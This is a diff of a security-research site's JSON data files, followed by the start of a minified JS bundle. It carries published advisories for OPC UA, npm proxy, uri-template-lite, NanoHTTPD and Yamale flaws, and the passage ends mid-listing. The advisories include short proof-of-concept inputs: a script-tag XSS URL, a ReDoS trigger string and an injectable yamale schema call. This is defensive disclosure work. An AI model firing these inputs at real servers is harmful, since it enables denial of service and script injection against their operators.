\nIn the Unified Automation C++-based OPC UA Demo Server, there is an exported object named readwrite.txt, it contains a function called Open() which opens the file.\nWhenever this function is called (with mode=1) it calls fopen() without checking if this file is already open.\nCalling this function X times will result in X open file descriptors.\nHowever, a limitation in Linux is set by default so that only 1024 files can be opened.\nSince under Linux a socket is also a file, once the process reaches its limit it will not be able to accept new network connections.
There was no root cause analysis conducted on the SDK itself
\nPoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"Medium severity. The Unified Automation C++ based OPC UA Client Server SDK for Linux is susceptible to denial of service when a remote authenticated attacker opens a large amount of file descriptors","date_published":"2022-06-01","xray_id":"XRAY-75758","vul_id":"","severity":"medium","discovered_by":"Uriya Yavnieli","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/ua-net-standard-stack-dos-xray-229139/index.json b/assets/data/vulnerabilities/ua-net-standard-stack-dos-xray-229139/index.json index 61690b9373..1e42b8e843 100644 --- a/assets/data/vulnerabilities/ua-net-standard-stack-dos-xray-229139/index.json +++ b/assets/data/vulnerabilities/ua-net-standard-stack-dos-xray-229139/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"UA .NET Standard stack exhaustion DoS","path":"/vulnerabilities/ua-net-standard-stack-dos-xray-229139/","content":"Summary
\nA stack exhaustion issue in UA .NET Standard can allow a remote attacker to perform denial of service\n
\nComponent
\n\nAffected versions
\nUA .NET Standard (, 1.4.368.53], fixed in 1.4.368.58\n
\nDescription
\nUA .NET Standard is an implementation of an OPC UA server in C#, provided by the OPC Foundation.
\nOne of the OPC-UA requests is TranslateBrowsePathsToNodeId.\nThis request provides browse paths, each of which contains a starting node and a relative path from that node to a target node.\nThe server will resolve each browse path and return a response that contains a target node id for each browse path.\nHowever, when handling that request there is a recursion in MasterNodeManager.cs::TranslateBrowsePath() that walks through the relative path's elements.\nProviding too many elements will make that function go beyond the maximum recursion level and crash the server due to StackOverflowException.
In order to provide enough elements in the relative path the attacker doesn't necessary require a long relative path.\nEach element has a field called isInverse which makes the path resolver go backward instead of forward.\nSo a relative path that contains only two elements with back and forth path can also be long enough to crash the server.
This issue exists only in the HTTPS endpoint and not in the TCP endpoint.\nThat is because creating enough elements requires sending a lot of data and the TCP endpoint by default limits the request's data to 64KB.\nThe HTTPS endpoint doesn't have such limit, which makes it vulnerable to this issue.
\nPoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2022-29866 High severity. A stack exhaustion issue in UA .NET Standard can allow a remote attacker to perform denial of service","date_published":"2022-06-16","xray_id":"XRAY-229139","vul_id":"CVE-2022-29866","severity":"high","discovered_by":"Uriya Yavniely","last_updated":"2022-06-16","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"UA .NET Standard stack exhaustion DoS","path":"/vulnerabilities/ua-net-standard-stack-dos-xray-229139/","content":"Summary
\nA stack exhaustion issue in UA .NET Standard can allow a remote attacker to perform denial of service\n
\nComponent
\n\nAffected versions
\nUA .NET Standard (, 1.4.368.53], fixed in 1.4.368.58\n
\nDescription
\nUA .NET Standard is an implementation of an OPC UA server in C#, provided by the OPC Foundation.
\nOne of the OPC-UA requests is TranslateBrowsePathsToNodeId.\nThis request provides browse paths, each of which contains a starting node and a relative path from that node to a target node.\nThe server will resolve each browse path and return a response that contains a target node id for each browse path.\nHowever, when handling that request there is a recursion in MasterNodeManager.cs::TranslateBrowsePath() that walks through the relative path's elements.\nProviding too many elements will make that function go beyond the maximum recursion level and crash the server due to StackOverflowException.
In order to provide enough elements in the relative path the attacker doesn't necessary require a long relative path.\nEach element has a field called isInverse which makes the path resolver go backward instead of forward.\nSo a relative path that contains only two elements with back and forth path can also be long enough to crash the server.
This issue exists only in the HTTPS endpoint and not in the TCP endpoint.\nThat is because creating enough elements requires sending a lot of data and the TCP endpoint by default limits the request's data to 64KB.\nThe HTTPS endpoint doesn't have such limit, which makes it vulnerable to this issue.
\nPoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2022-29866 High severity. A stack exhaustion issue in UA .NET Standard can allow a remote attacker to perform denial of service","date_published":"2022-06-16","xray_id":"XRAY-229139","vul_id":"CVE-2022-29866","severity":"high","discovered_by":"Uriya Yavniely","last_updated":"2022-06-16","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/ua-net-standard-stack-dos-xray-229142/index.json b/assets/data/vulnerabilities/ua-net-standard-stack-dos-xray-229142/index.json index a17a1dfda2..dcebf14e3b 100644 --- a/assets/data/vulnerabilities/ua-net-standard-stack-dos-xray-229142/index.json +++ b/assets/data/vulnerabilities/ua-net-standard-stack-dos-xray-229142/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"UA .NET Standard memory exhaustion DoS","path":"/vulnerabilities/ua-net-standard-stack-dos-xray-229142/","content":"Summary
\nA memory exhaustion issue in UA .NET Standard and UA .NET Legacy can allow a remote attacker to perform denial of service\n
\nComponent
\n\n\nAffected versions
\nUA .NET Standard (, 1.4.368.53], fixed in 1.4.368.58\nUA .NET Legacy all released versions are affected. Fixed in commit 35199e43d46f0eef793cace12baa806838ddba2c\n
\nDescription
\nUA .NET Standard is an implementation of an OPC UA server in C#, provided by the OPC Foundation.
\nIn the binary decoder when parsing an array, a 32 bit length field is being read, then an array of the matching type is being allocated.\nIn some cases this behavior might lead to a denial of service.
\nA nested variant array where each element is also a nested array that has a length field set to a large number might in certain cases lead to an Exception of OutOfMemoryException.\nThat’s because for each nested array BinaryDecoder.cs::ReadArrayElements() will try to allocate sizeof(Variant) length and then read the first variant element, but because the first variant element is also an array it will call to ReadArrayElements().\nParsing that array will behave exactly as the containing array, it will allocate an array in size of the specified length and call ReadVariant() and so on.\nThat will lead eventually to an allocation of nesting level length * sizeof(Variant).
As the parsing process will continue, the garbage collector will be required to free up some space but it will fail, so it will be kept calling on and on while stealing running time to the other threads.\nEventually the server will fail to answer requests in time.
\nThis issue is also exists in UA .NET Legacy, the previous implementation of the OPC UA server in C#.
\nPoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2022-29863 High severity. A memory exhaustion issue in UA .NET Standard can allow a remote attacker to perform denial of service","date_published":"2022-06-16","xray_id":"XRAY-229142","vul_id":"CVE-2022-29863","severity":"high","discovered_by":"Uriya Yavniely","last_updated":"2022-06-16","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"UA .NET Standard memory exhaustion DoS","path":"/vulnerabilities/ua-net-standard-stack-dos-xray-229142/","content":"Summary
\nA memory exhaustion issue in UA .NET Standard and UA .NET Legacy can allow a remote attacker to perform denial of service\n
\nComponent
\n\n\nAffected versions
\nUA .NET Standard (, 1.4.368.53], fixed in 1.4.368.58\nUA .NET Legacy all released versions are affected. Fixed in commit 35199e43d46f0eef793cace12baa806838ddba2c\n
\nDescription
\nUA .NET Standard is an implementation of an OPC UA server in C#, provided by the OPC Foundation.
\nIn the binary decoder when parsing an array, a 32 bit length field is being read, then an array of the matching type is being allocated.\nIn some cases this behavior might lead to a denial of service.
\nA nested variant array where each element is also a nested array that has a length field set to a large number might in certain cases lead to an Exception of OutOfMemoryException.\nThat’s because for each nested array BinaryDecoder.cs::ReadArrayElements() will try to allocate sizeof(Variant) length and then read the first variant element, but because the first variant element is also an array it will call to ReadArrayElements().\nParsing that array will behave exactly as the containing array, it will allocate an array in size of the specified length and call ReadVariant() and so on.\nThat will lead eventually to an allocation of nesting level length * sizeof(Variant).
As the parsing process will continue, the garbage collector will be required to free up some space but it will fail, so it will be kept calling on and on while stealing running time to the other threads.\nEventually the server will fail to answer requests in time.
\nThis issue is also exists in UA .NET Legacy, the previous implementation of the OPC UA server in C#.
\nPoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n\n","description":"CVE-2022-29863 High severity. A memory exhaustion issue in UA .NET Standard can allow a remote attacker to perform denial of service","date_published":"2022-06-16","xray_id":"XRAY-229142","vul_id":"CVE-2022-29863","severity":"high","discovered_by":"Uriya Yavniely","last_updated":"2022-06-16","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/undefined-variable-usage-in-proxy-leads-to-remote-denial-of-service-xray-520917/index.json b/assets/data/vulnerabilities/undefined-variable-usage-in-proxy-leads-to-remote-denial-of-service-xray-520917/index.json index 0eb42f5efe..22c07e46be 100644 --- a/assets/data/vulnerabilities/undefined-variable-usage-in-proxy-leads-to-remote-denial-of-service-xray-520917/index.json +++ b/assets/data/vulnerabilities/undefined-variable-usage-in-proxy-leads-to-remote-denial-of-service-xray-520917/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"npm proxy undefined variable remote DoS","path":"/vulnerabilities/undefined-variable-usage-in-proxy-leads-to-remote-denial-of-service-xray-520917/","content":"Summary
\nUndefined variable usage in npm package \"proxy\" leads to remote denial of service
\nComponent
\nproxy
\nAffected versions
\n[2.0.0, 2.1.1), Fixed in 2.1.1
\nDescription
\nA remote attacker can trigger a denial of service by sending a crafted HTTP request, causing the socket.remoteAddress variable to be undefined. Usage of the undefined variable raises a TypeError exception.
\nPoC
\nThe following simple program is vulnerable to this issue -
\nimport * as http from 'http';\nimport { createProxy } from 'proxy';\n\nconst server = createProxy(http.createServer());\nserver.listen(31285, () => {\n var port = server.address().port;\n console.log('HTTP(s) proxy server listening on port %d',\nport);\n});\nAn attacker can crash the program by sending a valid HTTP GET request followed by invalid tail data
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\nNo references are supplied for this issue
\n","description":"CVE-2023-2968, HIGH, npm proxy undefined variable remote DoS","date_published":"2023-05-30","xray_id":"XRAY-520917","vul_id":"CVE-2023-2968","severity":"high","discovered_by":"Ori Hollander","last_updated":"2023-05-30","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"npm proxy undefined variable remote DoS","path":"/vulnerabilities/undefined-variable-usage-in-proxy-leads-to-remote-denial-of-service-xray-520917/","content":"Summary
\nUndefined variable usage in npm package \"proxy\" leads to remote denial of service
\nComponent
\nproxy
\nAffected versions
\n[2.0.0, 2.1.1), Fixed in 2.1.1
\nDescription
\nA remote attacker can trigger a denial of service by sending a crafted HTTP request, causing the socket.remoteAddress variable to be undefined. Usage of the undefined variable raises a TypeError exception.
\nPoC
\nThe following simple program is vulnerable to this issue -
\nimport * as http from 'http';\nimport { createProxy } from 'proxy';\n\nconst server = createProxy(http.createServer());\nserver.listen(31285, () => {\n var port = server.address().port;\n console.log('HTTP(s) proxy server listening on port %d',\nport);\n});\nAn attacker can crash the program by sending a valid HTTP GET request followed by invalid tail data
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\nNo references are supplied for this issue
\n","description":"CVE-2023-2968, HIGH, npm proxy undefined variable remote DoS","date_published":"2023-05-30","xray_id":"XRAY-520917","vul_id":"CVE-2023-2968","severity":"high","discovered_by":"Ori Hollander","last_updated":"2023-05-30","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/uri-template-lite-redos-xray-211351/index.json b/assets/data/vulnerabilities/uri-template-lite-redos-xray-211351/index.json index 216ec078a6..4da3fc6398 100644 --- a/assets/data/vulnerabilities/uri-template-lite-redos-xray-211351/index.json +++ b/assets/data/vulnerabilities/uri-template-lite-redos-xray-211351/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"uri-template-lite URI.expand ReDoS","path":"/vulnerabilities/uri-template-lite-redos-xray-211351/","content":"Summary
\nExponential ReDoS in uri-template-lite leads to denial of service
\nComponent
\n\nAffected versions
\nuri-template-lite (,)
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the uri-template-lite npm package, when an attacker is able to supply arbitrary input to the URI.expand() method
The vulnerable regular expression can be found at \"/package/index.js\" - \\{([#&+.\\/;?]?)((?:[-\\w%.]+(\\*|:\\d+)?,?)+)\\}
PoC
\n'{0' + '0'.repeat(1000)
Vulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2021-43309 Medium severity. Exponential ReDoS in uri-template-lite leads to denial of service","date_published":"2022-08-03","xray_id":"XRAY-211351","vul_id":"CVE-2021-43309","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-08-03","cvss":5.9}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"uri-template-lite URI.expand ReDoS","path":"/vulnerabilities/uri-template-lite-redos-xray-211351/","content":"Summary
\nExponential ReDoS in uri-template-lite leads to denial of service
\nComponent
\n\nAffected versions
\nuri-template-lite (,)
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the uri-template-lite npm package, when an attacker is able to supply arbitrary input to the URI.expand() method
The vulnerable regular expression can be found at \"/package/index.js\" - \\{([#&+.\\/;?]?)((?:[-\\w%.]+(\\*|:\\d+)?,?)+)\\}
PoC
\n'{0' + '0'.repeat(1000)
Vulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2021-43309 Medium severity. Exponential ReDoS in uri-template-lite leads to denial of service","date_published":"2022-08-03","xray_id":"XRAY-211351","vul_id":"CVE-2021-43309","severity":"medium","discovered_by":"Denys Vozniuk","last_updated":"2022-08-03","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/xss-in-nanohttpd-xray-141192/index.json b/assets/data/vulnerabilities/xss-in-nanohttpd-xray-141192/index.json index ff5bb1a7ac..edbecf496e 100644 --- a/assets/data/vulnerabilities/xss-in-nanohttpd-xray-141192/index.json +++ b/assets/data/vulnerabilities/xss-in-nanohttpd-xray-141192/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"XSS in NanoHTTPD","path":"/vulnerabilities/xss-in-nanohttpd-xray-141192/","content":"Summary
\nAn attacker can run malicious JavaScript code due to an XSS in the GeneralHandler GET handler.
\nComponent
\n\nAffected versions
\nNanoHTTPD (,2.3.1), fixed in [2.3.2]
\nDescription
\nAn issue was discovered in RouterNanoHTTPD.java in NanoHTTPD through 2.3.1. The GeneralHandler class implements a basic GET handler that prints debug information as an HTML page. Any web server that extends this class without implementing its own GET handler is vulnerable to reflected XSS, because the GeneralHandler GET handler prints user input passed through the query string without any sanitization.
PoC
\nhttp://vulnerable.com?a=<script>alert(\"XSS!\");</script>
Vulnerability Mitigations
\nImplement a different general GET handler that does not use user-input
\nReferences
\n\n\n","description":"CVE-2020-13697 High severity. An attacker can run malicious JavaScript code due to an XSS in the *GeneralHandler* GET handler.","date_published":"2021-02-23","xray_id":"XRAY-141192","vul_id":"CVE-2020-13697","severity":"high","discovered_by":"Andrey Polkovnychenko","last_updated":"2021-02-23","cvss":6.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"XSS in NanoHTTPD","path":"/vulnerabilities/xss-in-nanohttpd-xray-141192/","content":"Summary
\nAn attacker can run malicious JavaScript code due to an XSS in the GeneralHandler GET handler.
\nComponent
\n\nAffected versions
\nNanoHTTPD (,2.3.1), fixed in [2.3.2]
\nDescription
\nAn issue was discovered in RouterNanoHTTPD.java in NanoHTTPD through 2.3.1. The GeneralHandler class implements a basic GET handler that prints debug information as an HTML page. Any web server that extends this class without implementing its own GET handler is vulnerable to reflected XSS, because the GeneralHandler GET handler prints user input passed through the query string without any sanitization.
PoC
\nhttp://vulnerable.com?a=<script>alert(\"XSS!\");</script>
Vulnerability Mitigations
\nImplement a different general GET handler that does not use user-input
\nReferences
\n\n\n","description":"CVE-2020-13697 High severity. An attacker can run malicious JavaScript code due to an XSS in the *GeneralHandler* GET handler.","date_published":"2021-02-23","xray_id":"XRAY-141192","vul_id":"CVE-2020-13697","severity":"high","discovered_by":"Andrey Polkovnychenko","last_updated":"2021-02-23","cvss":6.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/yamale-schema-code-injection-xray-182135/index.json b/assets/data/vulnerabilities/yamale-schema-code-injection-xray-182135/index.json index 4576f3ff78..c171f2d19b 100644 --- a/assets/data/vulnerabilities/yamale-schema-code-injection-xray-182135/index.json +++ b/assets/data/vulnerabilities/yamale-schema-code-injection-xray-182135/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Yamale schema code injection","path":"/vulnerabilities/yamale-schema-code-injection-xray-182135/","content":"Summary
\nInsufficient input validation in Yamale allows an attacker to perform Python code injection when processing a malicious schema file
\nComponent
\n\nAffected versions
\nYamale (,3.0.8), fixed in 3.0.8
\nDescription
\nYamale is a popular schema validator for YAML that’s used by over 200 repositories.
\nA code injection vulnerability occurs when parsing a malicious schema file, due to the parser.parse method which invokes an insecure call to eval with user-controlled input.
An attacker that can control the contents of the schema file that’s supplied to Yamale (-s/--schema command line parameter), can provide a seemingly valid schema file that will cause arbitrary Python code to run.
This issue may be exploited remotely if some piece of the vendor code allows an attacker to control the schema file, for example:
\nsubprocess.run([\"yamale\", \"-s\", remote_userinput, \"/path/to/file_to_validate\"])\nThis scenario is much more likely to be exploited as part of a parameter injection attack
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Newly discovered code injection vulnerability in Yamale
\n\n","description":"CVE-2021-38305 High severity. Insufficient input validation in Yamale allows an attacker to perform Python code injection when processing a malicious schema file","date_published":"2021-10-05","xray_id":"XRAY-182135","vul_id":"CVE-2021-38305","severity":"high","discovered_by":"Andrey Polkovnychenko","last_updated":"2021-10-05","cvss":7.8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Yamale schema code injection","path":"/vulnerabilities/yamale-schema-code-injection-xray-182135/","content":"Summary
\nInsufficient input validation in Yamale allows an attacker to perform Python code injection when processing a malicious schema file
\nComponent
\n\nAffected versions
\nYamale (,3.0.8), fixed in 3.0.8
\nDescription
\nYamale is a popular schema validator for YAML that’s used by over 200 repositories.
\nA code injection vulnerability occurs when parsing a malicious schema file, due to the parser.parse method which invokes an insecure call to eval with user-controlled input.
An attacker that can control the contents of the schema file that’s supplied to Yamale (-s/--schema command line parameter), can provide a seemingly valid schema file that will cause arbitrary Python code to run.
This issue may be exploited remotely if some piece of the vendor code allows an attacker to control the schema file, for example:
\nsubprocess.run([\"yamale\", \"-s\", remote_userinput, \"/path/to/file_to_validate\"])\nThis scenario is much more likely to be exploited as part of a parameter injection attack
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Newly discovered code injection vulnerability in Yamale
\n\n","description":"CVE-2021-38305 High severity. Insufficient input validation in Yamale allows an attacker to perform Python code injection when processing a malicious schema file","date_published":"2021-10-05","xray_id":"XRAY-182135","vul_id":"CVE-2021-38305","severity":"high","discovered_by":"Andrey Polkovnychenko","last_updated":"2021-10-05","cvss":7.8}},"context":{}} \ No newline at end of file diff --git a/assets/js/app.683bf451.js b/assets/js/app.e5cdd8e6.js similarity index 99% rename from assets/js/app.683bf451.js rename to assets/js/app.e5cdd8e6.js index 540d455b30..3d2ca44d62 100644 --- a/assets/js/app.683bf451.js +++ b/assets/js/app.e5cdd8e6.js @@ -1,4 +1,4 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[0],[]]);!function(t){function e(e){for(var r,a,c=e[0],s=e[1],u=e[2],f=0,p=[];fdiscovered",postsPerPage:10,currentPage:1,VulnerListItem:n.a}},computed:{latestPostDate:function(){var e=Object(a.a)(this.$static.posts.edges)[0].node.date_published;return Object(r.toBlogDateStr)(e)},postsChunks:function(){var e=Object(a.a)(this.$static.posts.edges),i=this.chunks(e,this.postsPerPage);return i},activeChunk:function(){var e=this.currentPage-1?this.currentPage-1:0;return this.postsChunks[e]},bannerNumber:function(){return this.$static.posts.edges.length.toString()}},components:{BannerSmall:d.a,VulnerListItem:n.a},mounted:function(){},methods:{chunks:function(e,i){for(var t=[];e.length;)t.push(e.splice(0,i));return t},getPaginationClass:function(e){var i="w-8 h-8 text-sm flex items-center justify-center hover:bg-jfrog-green hover:text-white transition-all";return e===this.currentPage?i+=" bg-jfrog-green text-white":i+=" bg-gray-300 text-black",i}},metaInfo:function(){return{title:"Software Vulnerabilities",meta:[{name:"title",content:"Software Vulnerabilities"},{name:"description",content:"Latest security vulnerabilities discovered. Our security researchers and engineers collaborate to create advanced vulnerability scanners to help the community"}],link:[{rel:"canonical",content:"https://research.jfrog.com/vulnerabilities/"}]}}},l=(t("FRA7"),t("KHd+")),o=t("Kw5r"),c=o.a.config.optionMergeStrategies.computed,u={posts:{edges:[{node:{id:"45bcb84679094af8af4f42d720a067f7",path:"/vulnerabilities/plexus-archiver-arbitrary-file-overwrite-xray-526292/",title:"Plexus Archiver arbitrary file overwrite",description:"CVE-2023-37460, High, Plexus Archiver arbitrary file overwrite",date_published:"2023-07-26",xray_id:"XRAY-526292",vul_id:"CVE-2023-37460",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"e2b85a7f36d6d883364ce339a10b6566",path:"/vulnerabilities/apache-sharding-sphere-agent-deserialization-rce-xray-526292/",title:"Apache ShardingSphere-Agent Deserialization RCE",description:"CVE-2023-28754, High, Apache ShardingSphere-Agent Deserialization RCE",date_published:"2023-07-23",xray_id:"XRAY-526292",vul_id:"CVE-2023-28754",severity:"high",discovered_by:"Liav Gutman",type:"vulnerability"}},{node:{id:"7ef014d8529cdcc0f0b2c808b7b6919d",path:"/vulnerabilities/okhttp-client-brotli-dos/",title:"OkHttp client Brotli DoS",description:"CVE-2023-3782, MEDIUM, OkHttp client Brotli DoS",date_published:"2023-07-19",xray_id:"XRAY-526161",vul_id:"CVE-2023-3782",severity:"medium",discovered_by:"Omer Kaspi",type:"vulnerability"}},{node:{id:"772d08c203bb4bc1ca04dc48ea07ad69",path:"/vulnerabilities/okio-gzip-source-unhandled-exception-dos-xray-523195/",title:"Okio GzipSource unhandled exception Denial of Service",description:"CVE-2023-3635, MEDIUM, Okio GzipSource unhandled exception Denial of Service",date_published:"2023-07-12",xray_id:"XRAY-523195",vul_id:"CVE-2023-3635",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"1c471c41e7590f6a4d0f8a54daf58a40",path:"/vulnerabilities/jetty-xml-parser-xxe-xray-523189/",title:"Jetty XmlParser XXE",description:"XRAY-523189, MEDIUM, Jetty XmlParser XXE",date_published:"2023-07-12",xray_id:"XRAY-523189",vul_id:"",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"dee774d7f15369fb3e190bb18d8e1e47",path:"/vulnerabilities/snappy-java-unchecked-chunk-length-dos-xray-522074/",title:"snappy-java unchecked chunk length DoS",description:"CVE-2023-34455, HIGH, snappy-java unchecked chunk length DoS",date_published:"2023-06-19",xray_id:"XRAY-522074",vul_id:"CVE-2023-34455",severity:"high",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"41a2deb7625c1e8e00588930a1af40f9",path:"/vulnerabilities/snappy-java-integer-overflow-in-shuffle-leads-to-dos-xray-522076/",title:"snappy-java integer overflow in shuffle leads to DoS",description:"CVE-2023-34453, MEDIUM, snappy-java integer overflow in shuffle leads to DoS",date_published:"2023-06-19",xray_id:"XRAY-522076",vul_id:"CVE-2023-34453",severity:"medium",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"17b661bb21bc5be3c026f564f9c68d90",path:"/vulnerabilities/snappy-java-integer-overflow-in-compress-leads-to-dos-xray-522075/",title:"snappy-java integer overflow in compress leads to DoS",description:"CVE-2023-34454, MEDIUM, snappy-java integer overflow in compress leads to DoS",date_published:"2023-06-19",xray_id:"XRAY-522075",vul_id:"CVE-2023-34454",severity:"medium",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"69198f2fa2a412191a4c9b57efa28116",path:"/vulnerabilities/libtiff-nullderef-dos-xray-522144/",title:"libtiff NULL dereference DoS",description:"CVE-2023-3316, MEDIUM, A NULL pointer dereference in TIFFClose() is caused by a failure to open an output file (non-existent path or a path that requires permissions like /dev/null) while specifying zones.",date_published:"2023-06-19",xray_id:"XRAY-522144",vul_id:"CVE-2023-3316",severity:"medium",discovered_by:"Yair Mizrahi",type:"vulnerability"}},{node:{id:"ac7e3c859d84c9580d7b0146342eccc5",path:"/vulnerabilities/undefined-variable-usage-in-proxy-leads-to-remote-denial-of-service-xray-520917/",title:"npm proxy undefined variable remote DoS",description:"CVE-2023-2968, HIGH, npm proxy undefined variable remote DoS",date_published:"2023-05-30",xray_id:"XRAY-520917",vul_id:"CVE-2023-2968",severity:"high",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"ee86d146f09e960ef8285d67640cd95b",path:"/vulnerabilities/qemu-rce-xray-520621/",title:"QEMU Heap overflow VM escape",description:"CVE-2023-1601 Medium severity. A heap overflow in QEMU can allow an authenticated network attacker to perform a VM escape",date_published:"2023-05-23",xray_id:"XRAY-520621",vul_id:"CVE-2023-1601",severity:"medium",discovered_by:"Yair Mizrahi",type:"vulnerability"}},{node:{id:"b476af811f951692a556c62ba167c8ee",path:"/vulnerabilities/jettison-json-array-dos-xray-427911/",title:"Jettison JSONArray DoS",description:"CVE-2023-1436 Medium severity. Infinite recursion in Jettison leads to denial of service when creating a crafted JSONArray",date_published:"2023-03-16",xray_id:"XRAY-427911",vul_id:"CVE-2023-1436",severity:"medium",discovered_by:"Nitay Meiron",type:"vulnerability"}},{node:{id:"105e668b959955f2ce49afa8fec36bfa",path:"/vulnerabilities/stack-exhaustion-in-json-smart-leads-to-denial-of-service-when-parsing-malformed-json-xray-427633/",title:"json-smart Stack exhaustion DoS",description:"CVE-2023-1370 High severity. Stack exhaustion in json-smart leads to denial of service when parsing malformed JSON",date_published:"2023-03-13",xray_id:"XRAY-427633",vul_id:"CVE-2023-1370",severity:"high",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"fe7bf15d3a348be347fa07a155f51bd7",path:"/vulnerabilities/caret-xss-rce/",title:"Caret XSS RCE",description:"CVE-2022-42967 High severity. XSS in Caret markdown editor leads to remote code execution when viewing crafted Markdown files",date_published:"2023-01-10",xray_id:"",vul_id:"CVE-2022-42967",severity:"high",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"55a51cd471fa355d7608c5acb3bca911",path:"/vulnerabilities/libtiff-buffer-overflow-dos-xray-259933/",title:"libtiff tiffcrop buffer overflow DoS",description:"CVE-2022-34526 Medium severity. A global-memory buffer overflow in the libtiff library leads to denial of service when processing crafted TIFF images with tiffcrop.",date_published:"2022-11-16",xray_id:"XRAY-259933",vul_id:"CVE-2022-34526",severity:"medium",discovered_by:"Nitay Meiron",type:"vulnerability"}},{node:{id:"f2cf7ac3611d7e5ce0caf62260f505d6",path:"/vulnerabilities/conduit-hyper-dos/",title:"conduit-hyper missing request size limit DoS",description:"CVE-2022-39294 High severity. Missing limit checks in conduit-hyper leads to denial of service",date_published:"2022-11-01",xray_id:"",vul_id:"CVE-2022-39294",severity:"high",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"73da27705829ae045eb4cb391ff62e2f",path:"/vulnerabilities/snowflake-connector-python-redos-xray-257185/",title:"snowflake-connector-python ReDoS",description:"CVE-2022-42965 Low severity. Exponential ReDoS in snowflake-connector-python leads to denial of service",date_published:"2022-10-15",xray_id:"XRAY-257185",vul_id:"CVE-2022-42965",severity:"low",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"e53a1202a22f12a93da3c8e6c22ea7a1",path:"/vulnerabilities/pymatgen-redos-xray-257184/",title:"pymatgen ReDoS",description:"CVE-2022-42964 Medium severity. Exponential ReDoS in pymatgen leads to denial of service",date_published:"2022-10-15",xray_id:"XRAY-257184",vul_id:"CVE-2022-42964",severity:"medium",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"779f368cd1ca886b10683f81f1ff3b75",path:"/vulnerabilities/cleo-redos-xray-257186/",title:"cleo ReDoS",description:"CVE-2022-42966 Medium severity. Exponential ReDoS in cleo leads to denial of service",date_published:"2022-10-15",xray_id:"XRAY-257186",vul_id:"CVE-2022-42966",severity:"medium",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"0d1bfe8c509fbfc6a095b79625793333",path:"/vulnerabilities/nodejs-http-smuggling-xray-231662/",title:"Node.js llhttp HTTP smuggling",description:"CVE-2022-32215 Medium severity. Improper handling of multi-line Transfer-Encoding headers in Node.js http server leads to HTTP request smuggling",date_published:"2022-10-04",xray_id:"XRAY-231662",vul_id:"CVE-2022-32215",severity:"medium",discovered_by:"Zhang Zeyu, Liav 